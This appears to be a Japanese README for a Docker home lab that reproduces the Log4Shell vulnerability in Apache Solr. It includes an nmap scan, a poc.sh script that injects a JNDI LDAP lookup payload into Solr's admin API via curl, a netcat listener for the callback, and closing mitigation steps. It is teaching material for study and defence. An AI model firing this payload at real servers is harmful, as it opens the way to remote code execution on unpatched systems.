
Log4j脆弱性ホームラボ
Docker による管理環境で、Apache Solr における Log4Shell 脆弱性の再現と学習を行います。
solr-lab): Apache Solr v8.11.0 (vulhub/solr:8.11.0) で、脆弱性のある Log4j バージョンが実行されています。kali-lab): nmap、curl、netcat がプリインストールされた基本的な Kali Linux コンテナ。ターミナルで、バックグラウンドで環境を起動します:
docker compose up -d --build
docker compose exec -it kali-lab /bin/bash
Kali コンテナ内で、自身のサブネットを確認し、Apache Solr の IP を見つけます:
# 1. 自身の IP とネットマスクを確認
hostname -I
# 2. 内部ネットワークをスキャンしてターゲットの IP を見つける(Solr ポート: 8983)
# (下記のサブネットは前のコマンドで取得した IP に応じて置き換えてください)
nmap -p 8983 172.20.0.0/24
poc.sh スクリプトは、Solr の管理 API パラメータに JNDI ルックアップペイロードを注入します。
poc.sh)#!/usr/bin/env bash
if [ "$#" -lt 2 ]; then
echo "使用方法: $0 <lhost> <rhost> [lport]"
echo "例: $0 172.20.0.3 172.20.0.2 1389"
exit 1
fi
KALI="$1"
TARGET="$2"
PORT_KALI="${3:-1389}"
echo "[*] ターゲット: $TARGET"
echo "[*] 攻撃者 (LDAP): $KALI ポート $PORT_KALI"
echo "[*] エクスプロイトを発射..."
curl -g -v "http://${TARGET}:8983/solr/admin/cores?foo=\${jndi:ldap://${KALI}:${PORT_KALI}/x}"
引き続き Kali 内で、スクリプトに実行権限を与え、正しい IP を指定して実行します:
chmod +x poc.sh
./poc.sh <KALIのIP> <SOLRのIP> 1389
ここで何が起こっているのか? Solr はリクエストを処理し、指定されたポートで Kali の IP への LDAP 接続を試みます。スクリプトを実行する前に Kali でクイックリスナー(例:
nc -lnvp 1389)を開いて、この接続試行を監視できます。
Log4j 2 の脆弱性を修正するには:
2.15.0 より上、または 2.17.1 より上)に移行する。-Dlog4j2.formatMsgNoLookups=true を追加してルックアップを無効にする。zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class